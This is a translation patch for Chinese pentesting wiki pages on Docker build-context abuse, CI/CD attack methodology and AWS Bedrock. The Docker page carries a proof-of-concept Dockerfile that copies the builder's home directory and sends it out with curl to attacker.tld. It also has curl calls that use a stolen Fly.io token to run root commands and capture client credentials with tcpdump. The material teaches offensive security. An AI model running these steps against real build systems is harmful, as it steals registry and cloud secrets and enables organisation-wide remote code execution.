From 148aa9dffa272af26635622ccb0d2aa0dd1c2aec Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 22:35:59 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 56 +++++------ .../pentesting-ci-cd-methodology.md | 93 +++++++++---------- .../aws-services/aws-bedrock-enum.md | 6 +- 3 files changed, 77 insertions(+), 78 deletions(-) diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index f40837e75..4a771ab6a 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -1,29 +1,29 @@ -# 在 Hosted Builders 中滥用 Docker Build Context (Path Traversal, Exfil, and Cloud Pivot) +# 滥用 Docker Build Context 在 托管 构建器 (Path Traversal, Exfil, and Cloud Pivot) {{#include ../banners/hacktricks-training.md}} ## TL;DR -如果一个 CI/CD 平台或 hosted builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径，你通常可以将 context 设置为父目录（例如 ".."），使主机文件成为 build context 的一部分。然后，攻击者控制的 Dockerfile 可以使用 COPY 并 exfiltrate 位于 builder 用户主目录的秘密（例如 ~/.docker/config.json）。被窃取的 registry tokens 也可能对提供商的 control-plane APIs 生效，从而导致 org-wide RCE。 +如果 CI/CD 平台或托管 builder 允许贡献者指定 Docker build context 路径和 Dockerfile 路径，通常可以将 context 设置为父目录（例如 ".."），使主机文件成为构建上下文的一部分。然后，攻击者控制的 Dockerfile 可以 COPY 并外泄位于 builder 用户主目录的秘密（例如 ~/.docker/config.json）。被盗的 registry tokens 也可能对提供商的 control-plane APIs 生效，从而实现组织范围的 RCE。 -## Attack surface +## 攻击面 -许多 hosted builder/registry services 在构建用户提交的镜像时大致按以下方式工作： -- 读取包含以下内容的 repo 级配置： -- build context path（发送给 Docker daemon） -- Dockerfile path（相对于该 context） +许多托管 builder/registry 服务在构建用户提交的镜像时大致执行以下操作： +- 读取包含以下内容的 repo 级别配置： + - build context path (sent to the Docker daemon) + - Dockerfile path relative to that context - 将指定的 build context 目录和 Dockerfile 复制到 Docker daemon -- 构建镜像并以托管服务运行 +- 构建镜像并将其作为托管服务运行 -如果平台没有对 build context 进行规范化并加以限制，用户可以将其设置为仓库之外的位置（path traversal），使构建用户可读的任意主机文件成为 build context 的一部分，并可在 Dockerfile 中被 COPY。 +如果平台没有对 build context 进行规范化和限制，用户可以将其设置为仓库之外的位置（path traversal），导致构建用户可读的任意主机文件成为构建上下文的一部分，并可在 Dockerfile 中通过 COPY 访问。 -常见的实际限制： -- Dockerfile 必须位于所选 context 路径内，且其路径必须事先已知。 -- 构建用户必须对包含在 context 中的文件具有读取权限；特殊设备文件可能会导致复制失败。 +常见的实际约束： +- Dockerfile 必须位于所选的 context 路径内，并且其路径必须事先已知。 +- build user 必须对包含在 context 中的文件具有读取权限；特殊设备文件可能会破坏复制过程。 ## PoC: Path traversal via Docker build context -示例恶意服务器配置，声明一个位于父目录上下文中的 Dockerfile： +Example malicious server config declaring a Dockerfile within the parent directory context: ```yaml runtime: "container" build: @@ -41,10 +41,10 @@ exampleConfig: apiKey: "sk-example123" ``` 注意： -- 使用 ".." 常常解析到 builder 用户的 home（例如 /home/builder），该目录通常包含敏感文件。 -- 将你的 Dockerfile 放在 repo 的目录名下（例如 repo "test" → test/Dockerfile），这样它会保持在展开的父上下文内。 +- 使用 '..' 通常会解析到 builder 用户的主目录（例如 /home/builder），该目录通常包含敏感文件。 +- 将 Dockerfile 放在仓库的目录名下（例如，repo "test" → test/Dockerfile），以便它保持在展开的父上下文内。 -## PoC: Dockerfile 用于摄取并 exfiltrate 主机上下文 +## PoC: Dockerfile to ingest and exfiltrate the host context ```dockerfile FROM alpine RUN apk add --no-cache curl @@ -52,34 +52,34 @@ RUN mkdir /data COPY . /data # Copies entire build context (now builder’s $HOME) RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` -常见从 $HOME 恢复的目标： +通常从 $HOME 恢复的目标： - ~/.docker/config.json (registry auths/tokens) -- 其他 cloud/CLI 缓存和配置（例如：~/.fly, ~/.kube, ~/.aws, ~/.config/*） +- 其他 cloud/CLI 缓存和配置（例如 ~/.fly, ~/.kube, ~/.aws, ~/.config/*） -提示：即使仓库中存在 .dockerignore，易受攻击的平台端上下文选择仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前就将所选路径复制到 daemon，主机文件仍可能被暴露。 +提示：即使仓库中包含 .dockerignore，易受攻击的平台端 context selection 仍然决定发送到 daemon 的内容。如果平台在评估你仓库的 .dockerignore 之前将所选路径复制到 daemon，主机文件仍可能被暴露。 -## Cloud pivot — 使用权限过大的 tokens (example: Fly.io Machines API) +## 使用过度权限 tokens 进行 Cloud pivot（示例：Fly.io Machines API） -某些平台会签发单个 bearer token，可同时用于 container registry 和 control-plane API。如果你窃取了 registry token，尝试将其用于 provider API。 +某些平台会颁发一个可同时用于 container registry 和 control-plane API 的 bearer token。如果你 exfiltrate 了一个 registry token，尝试用它访问 provider 的 API。 -使用从 ~/.docker/config.json 偷取的 token 对 Fly.io Machines API 的示例 API 调用： +使用从 ~/.docker/config.json 获取的被盗 token 对 Fly.io Machines API 发起的示例 API 调用： -列举 org 中的 apps： +列举组织中的 apps： ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` -在应用的任何机器中以 root 身份运行命令： +在任意 app 的任何机器内以 root 身份运行命令： ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -结果：在 token 拥有足够权限时，可对所有托管应用实现整个组织范围的 remote code execution。 +结果：在 token 拥有足够权限的情况下，可对所有托管应用实现整个组织范围的 remote code execution。 -## 来自被攻陷的托管服务的机密窃取 +## 从被攻陷的托管服务窃取 Secret -在托管服务器上获得 exec/RCE 后，你可以收集客户端提供的 secrets（API keys、tokens），或发起 prompt-injection attacks。示例：安装 tcpdump 并捕获 port 8080 上的 HTTP 流量以提取传入 credentials。 +在对托管服务器取得 exec/RCE 后，你可以窃取 client-supplied secrets (API keys, tokens) 或发起 prompt-injection 攻击。示例：安装 tcpdump 并在端口 8080 捕获 HTTP 流量以提取 inbound credentials。 ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -捕获到的请求通常会在 headers、bodies 或 query params 中包含 client credentials。 +捕获的请求通常在 headers、bodies 或 query params 中包含客户端凭证。 ## 参考资料 diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index e92e45f38..e859c52b4 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD 方法论 +# Pentesting CI/CD Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS 代表 Version Control System，該系統允許開發者管理其源代碼。最常見的是 **git**，你通常會在以下平台之一看到公司使用它： +VCS 是 **版本控制系统 (Version Control System)**，该系统允许开发者**管理他们的源代码**。最常见的是 **git**，你通常会在以下**平台**中看到公司使用它： - Github - Gitlab @@ -18,40 +18,39 @@ VCS 代表 Version Control System，該系統允許開發者管理其源代碼 ## CI/CD Pipelines -CI/CD pipelines 允許開發者自動化執行代碼以達成多種目的，包括構建、測試和部署應用。這些自動化工作流會由特定動作觸發，例如 code pushes、pull requests 或排程任務。它們有助於精簡從開發到生產的流程。 +CI/CD pipelines 使开发者能够**自动执行代码**以完成多种目的，包括构建、测试和部署应用。这些自动化工作流由特定的操作触发，例如 code pushes、pull requests 或计划任务。它们有助于简化从开发到生产的流程。 -然而，這些系統需要在某處被執行，且通常需要帶有特權的憑證來部署代碼或存取敏感資訊。 +但是，这些系统需要在某处**执行**，并且通常需要**有特权的凭证来部署代码或访问敏感信息**。 ## VCS Pentesting Methodology > [!NOTE] -> 即使有些 VCS 平台允許為本節建立 pipelines，我們將只分析對源代碼控制的潛在攻擊。 +> 即便一些 VCS platforms 允许为此部分创建 pipelines，我们在本节中只分析对源代码控制的潜在攻击。 -儲存專案源代碼的平台包含敏感資訊，因此需要非常小心在此平台內授予的權限。以下是攻擊者可能濫用的一些常見問題： - -- **Leaks**: 如果你的代碼在提交中包含 leaks，且攻擊者能夠存取該 repo（因為是公開的或他有存取權），他可能會發現這些 leaks。 -- **Access**: 如果攻擊者能夠存取 VCS 平台內的某個帳號，他可能會獲得更多的能見度和權限。 -- **Register**: 有些平台允許外部使用者直接註冊帳號。 -- **SSO**: 有些平台不允許註冊，但允許任何擁有有效 SSO 的人登入（例如攻擊者可以用他的 github 帳號登入）。 -- **Credentials**: Username+Pwd、personal tokens、ssh keys、Oauth tokens、cookies……有多種類型的 token，使用者可能會被竊取來以某種方式存取 repo。 -- **Webhooks**: VCS 平台允許產生 webhooks。如果它們沒有以不可見的 secret 保護，攻擊者可能會濫用它們。 -- 如果沒有 secret，攻擊者可以濫用第三方平台的 webhook -- 如果 secret 在 URL 中，同樣會發生，而且攻擊者也會得到該 secret -- **Code compromise:** 如果惡意行為者對 repo 具有某種寫入權限，他可能會嘗試注入惡意代碼。為了成功，他可能需要繞過 branch protections。這些行為可為達成不同目標而執行： - - 妥協 main branch 以便進一步妥協 production。 - - 妥協 main（或其他 branch）以妥協開發者的機器（因為他們通常會在自己的機器上執行測試、terraform 或其他來自 repo 的東西）。 -- **Compromise the pipeline** (見下一節) +托管项目源代码的平台包含敏感信息，因此必须非常小心在该平台内授予的权限。以下是攻击者可能滥用的一些常见问题： +- **Leaks**: 如果你的代码在提交中包含 leaks，且攻击者可以访问 repo（因为它是 public 或者他已有访问权限），他可能会发现这些 leaks。 +- **Access**: 如果攻击者能**访问 VCS platform 内的一个账户**，他可能会获得**更多的可见性和权限**。 +- **Register**: 一些平台允许外部用户直接创建账户。 +- **SSO**: 有些平台不允许直接注册，但允许任何拥有有效 SSO 的人访问（例如攻击者可以用他的 github 账户登录）。 +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 有多种类型的令牌可以被窃取，从而以某种方式访问 repo。 +- **Webhooks**: VCS platforms 允许生成 webhooks。如果这些 webhooks **未用不可见的 secret 保护**，**攻击者可能会滥用它们**。 +- 如果没有 secret，攻击者可能滥用第三方平台的 webhook。 +- 如果 secret 在 URL 中，同样会发生并且攻击者也会拥有该 secret。 +- **Code compromise:** 如果恶意行为者对仓库拥有某种**写入**权限，他可能尝试**注入恶意代码**。要成功，他可能需要**绕过 branch protections**。这些操作可以出于不同目的： + - 攻破 main branch 以**影响 production**。 + - 攻破 main（或其他分支）以**感染开发者的机器**（因为他们通常在机器上运行测试、terraform 或其他在 repo 内的任务）。 +- **Compromise the pipeline**（见下一节） ## Pipelines Pentesting Methodology -定義 pipeline 最常見的方式，是在被構建的 repository 中使用一個 **CI configuration file**。該檔描述了被執行 job 的順序、影響流程的條件，以及構建環境設定。\ -這些檔案通常有一致的名稱與格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位於 .github/workflows 下的 GitHub Actions YAML 檔。當被觸發時，pipeline job 會從選定的來源（例如 commit / branch）**拉取代碼**，並針對該代碼**執行 CI configuration file 中指定的命令**。 +定义 pipeline 最常见的方式，是使用**托管在仓库中的 CI 配置文件**来描述。该文件说明执行作业的顺序、影响流程的条件以及构建环境设置。\ +这些文件通常有统一的名称和格式，例如 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI)，以及位于 .github/workflows 下的 GitHub Actions YAML 文件。当触发时，pipeline 作业会**从选定源（例如 commit / branch）拉取代码**，并**针对该代码运行 CI 配置文件中指定的命令**。 -因此，攻擊者的最終目標是以某種方式**妥協那些設定檔**或是**它們所執行的命令**。 +因此，攻击者的最终目标是以某种方式**篡改这些配置文件**或它们**执行的命令**。 > [!TIP] -> 有些 hosted builders 允許 contributors 選擇 Docker build context 與 Dockerfile 路徑。如果 context 可被攻擊者控制，你可能會將其設在 repo 之外（例如 ".."）以便在構建期間吸入主機檔案並外洩 secrets。詳見： +> 一些托管的 builder 允许贡献者选择 Docker build context 和 Dockerfile 路径。如果 context 可被攻击者控制，你可以将其设置到仓库外（例如 ".."）以在构建期间读取主机文件并外泄 secrets。参见： > >{{#ref}} >docker-build-context-abuse.md @@ -59,53 +58,53 @@ CI/CD pipelines 允許開發者自動化執行代碼以達成多種目的，包 ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution (PPE) 路徑利用 SCM repository 的權限來操控 CI pipeline 並執行有害命令。具有必要權限的使用者可以修改 CI configuration 檔或 pipeline job 使用的其他檔案，以包含惡意命令。這會「poison」CI pipeline，導致執行這些惡意命令。 +Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。拥有必要权限的用户可以修改 CI 配置文件或 pipeline 作业使用的其他文件以包含恶意命令。这会“污染”CI pipeline，导致这些恶意命令被执行。 -要成功執行 PPE 攻擊，惡意行為者需要能夠： +要成功执行 PPE 攻击，恶意行为者需要能够： -- 擁有 **write access to the VCS platform**，因為通常 pipeline 是在 push 或 pull request 發生時被觸發。（查看 VCS pentesting methodology 以取得取得存取的摘要） -- 注意有時外部 PR 也會算作「write access」。 -- 即便他有寫入權限，他還需要確定能**修改 CI config file 或其他 CI config 所依賴的檔案**。 -- 為此，他可能需要能夠**繞過 branch protections**。 +- 拥有对 VCS platform 的**写入访问**，因为通常 pipeline 在 push 或 pull request 时被触发。（查看 VCS pentesting methodology 了解获取访问权限的汇总方式）。 +- 注意有时**外部 PR 也会被视为“写入访问”**。 +- 即便他有写入权限，他也需要确保能**修改 CI 配置文件或配置所依赖的其他文件**。 +- 为此，他可能需要能够**绕过 branch protections**。 -PPE 有 3 種變體： +PPE 有 3 种变体： -- **D-PPE**: Direct PPE 發生在攻擊者直接**修改將要被執行的 CI config** 檔時。 -- **I-DDE**: Indirect PPE 發生在攻擊者**修改**CI config 所依賴的**檔案**（例如 make file 或 terraform config）。 -- **Public PPE or 3PE**: 在某些情況下，pipelines 可以被沒有寫入權限的使用者（甚至不是 org 成員）觸發，因為他們可以送出 PR。 -- **3PE Command Injection**: 通常，CI/CD pipelines 會以環境變數設定有關 PR 的資訊。如果該值可被攻擊者控制（例如 PR 的標題），且被用在危險的位置（例如執行 sh 命令），攻擊者可能會在其中**注入命令**。 +- **D-PPE**: **Direct PPE** 发生在攻击者直接**修改将被执行的 CI 配置**文件时。 +- **I-DDE**: **Indirect PPE** 发生在攻击者**修改 CI 配置所依赖的文件**（例如 make 文件或 terraform 配置）时。 +- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有仓库写入权限的用户触发**（这些用户可能甚至不是组织成员），因为他们可以发送 PR。 +- **3PE Command Injection**: 通常，CI/CD pipelines 会用**关于 PR 的信息设置环境变量**。如果该值可被攻击者控制（例如 PR 的标题）且被**用于危险的地方**（比如执行 sh 命令），攻击者可能在其中**注入命令**。 ### Exploitation Benefits -了解三種 poison pipeline 的變體後，來看攻擊者在成功利用後可能獲得的東西： +了解了三种污染 pipeline 的方式后，我们来看攻击者成功利用后可能获得的收益： -- **Secrets**: 如前所述，pipeline 的 job 需要特權（取得代碼、構建、部署…），這些特權通常以 secrets 的形式存在。這些 secrets 通常可透過 **env variables 或系統內的檔案** 存取。因此攻擊者會盡可能嘗試外洩最多的 secrets。 -- 根據 pipeline 平台，攻擊者可能**需要在 config 中指定 secrets**。這代表如果攻擊者無法修改 CI configuration pipeline（例如 I-PPE），他可能**只能外洩該 pipeline 本身擁有的 secrets**。 -- **Computation**: 代碼會在某處被執行，視執行位置不同，攻擊者可能能夠進一步 pivot。 -- **On-Premises**: 若 pipeline 在內部執行，攻擊者可能進入內網並存取更多資源。 -- **Cloud**: 攻擊者可能存取雲端中的其他機器，或外洩 IAM roles/service accounts tokens 以在雲端內獲得更深入的存取。 -- **Platforms machine**: 有時 job 會在 pipelines platform 的機器上執行，這些機器通常位於雲端且沒有更多的額外存取權限。 -- **Select it:** 有時 pipelines platform 會配置多台機器，如果你能修改 CI configuration file，你可以指定在哪台機器上運行惡意代碼。在這種情況下，攻擊者可能會在每台可用機器上運行反向 shell 以進一步嘗試利用。 -- **Compromise production**: 如果你已進入 pipeline，且最終版本是從 pipeline 建構並部署的，你可以妥協將在 production 運行的程式碼。 +- **Secrets**: 如前所述，pipeline 的作业需要获取特权（检索代码、构建、部署等），这些特权通常以 **secrets** 的形式存在。这些 secrets 通常可以通过 **env 变量或系统内的文件**访问。因此攻击者会尽可能外泄大量 secrets。 +- 根据 pipeline 平台的不同，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者不能修改 CI 配置 pipeline（例如 I-PPE），他**只能外泄该 pipeline 所具有的 secrets**。 +- **Computation**: 代码在某处被执行，取决于执行位置，攻击者可能进一步横向移动。 +- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能进入**内部网络并访问更多资源**。 +- **Cloud**: 攻击者可能访问云中的其他机器，也可能**外泄 IAM roles/service accounts 的 tokens**以获取云内的进一步访问。 +- **Platforms machine**: 有时作业会在 **pipelines platform 的机器**内执行，这些机器通常位于云中且没有更多权限。 +- **Select it:** 有时 **pipelines platform 配置了多种机器**，如果你能**修改 CI 配置文件**，你可以**指定要在哪台机器上运行恶意代码**。在这种情况下，攻击者可能会在每台可用机器上运行反向 shell 以尝试进一步利用。 +- **Compromise production**: 如果你在 pipeline 内部并且最终版本就是从这里构建和部署的，你可以**篡改将在生产中运行的代码**。 ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一個開源工具，用以根據新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 對你的 software supply chain stack 做安全合規性審核。該審核涵蓋整個 SDLC 流程，可揭露從代碼提交到部署階段的風險。 +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于基于新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 对你的软件供应链堆栈进行安全合规审计。审计关注整个 SDLC 过程，可以揭示从代码阶段到部署阶段的风险。 ### Top 10 CI/CD Security Risk -參考 Cider 所列的 CI/CD 前十大風險，詳見： [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +查看 Cider 关于前十个 CI/CD 风险的有趣文章: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- 對於每個可以在本機執行的平台，你會找到如何在本機啟動的說明，以便你可以按需配置來測試。 +- 在每个平台的本地运行示例中，你会找到如何在本地启动它的说明，以便你可以按需配置来测试。 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一個針對 infrastructure-as-code 的靜態代碼分析工具。 +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个针对基础设施即代码的静态代码分析工具。 ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index a9d745020..dfb650bf1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## 概述 +## Overview -Amazon Bedrock 是一项完全托管的服务，使使用来自领先 AI 初创公司和 Amazon 的基础模型 (FMs) 构建和扩展生成式 AI 应用变得简单。Bedrock 通过单一 API 提供对多种基础模型的访问，允许开发者为特定用例选择最合适的模型，而无需管理底层基础设施。 +Amazon Bedrock 是一项全托管服务，使得使用来自领先 AI 初创公司和 Amazon 的基础模型 (FMs) 来构建和扩展生成式 AI 应用变得容易。Bedrock 通过单一 API 提供对各种 FMs 的访问，允许开发者为特定用例选择最合适的模型，而无需管理底层基础设施。 -## 后渗透 +## Post Exploitation {{#ref}} ../aws-post-exploitation/aws-bedrock-post-exploitation/README.md